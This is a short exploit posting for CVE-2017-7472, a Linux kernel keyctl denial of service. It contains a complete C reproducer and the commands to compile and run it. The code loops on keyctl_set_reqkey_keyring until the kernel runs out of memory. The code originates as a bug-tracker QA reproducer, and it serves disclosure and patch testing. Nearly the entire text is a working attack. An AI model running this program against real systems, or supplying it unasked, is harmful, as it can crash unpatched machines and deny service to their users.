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Linux Kernel keyctl_set_reqkey_keyring Denial Of Service

Posted on 09 June 2017

/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:

gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472

(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>

int main()
{
for (;;)
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}

 

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